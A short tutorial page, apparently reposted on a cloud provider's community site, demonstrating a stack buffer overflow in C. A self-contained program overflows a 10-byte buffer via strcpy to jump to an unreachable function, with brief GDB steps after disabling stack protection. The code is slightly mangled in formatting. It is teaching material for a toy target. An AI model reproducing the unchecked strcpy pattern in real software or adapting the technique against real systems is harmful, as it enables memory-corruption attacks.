Buffer overflow attack

Source: Internet
Author: User

Attack Code:

#include "stdio.h" #include "string.h" char code[]= "\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\ x41 "\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41"//Both more added "\xbe\x05\x40\x00"//Bug Address "\x00";  void copy (const char *input) {char buf[10];  strcpy (Buf,input); printf ("%s \ n", buf);}  void bug (void) {printf ("I shouldn ' t has appeared\n");} int main (int argc,char *argv[]) {copy (code); return 0;}

Attack Process:

1 Turn off Stack protection compilation Open GDB:

2 set breakpoints in both strcpy and printf, run, view the value of the RSP register, and find the address where the strcpy is located.

3 View after running, this becomes the address of the bug.


4 running the program to achieve the purpose of the attack


Resources:

Http://os.it168.com/a2009/0530/1059/000001059910.shtml

http://blog.csdn.net/liigo/article/details/582231

http://blog.163.com/jw_chen_cs/blog/static/20221214820124119642246/



Buffer overflow attack

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.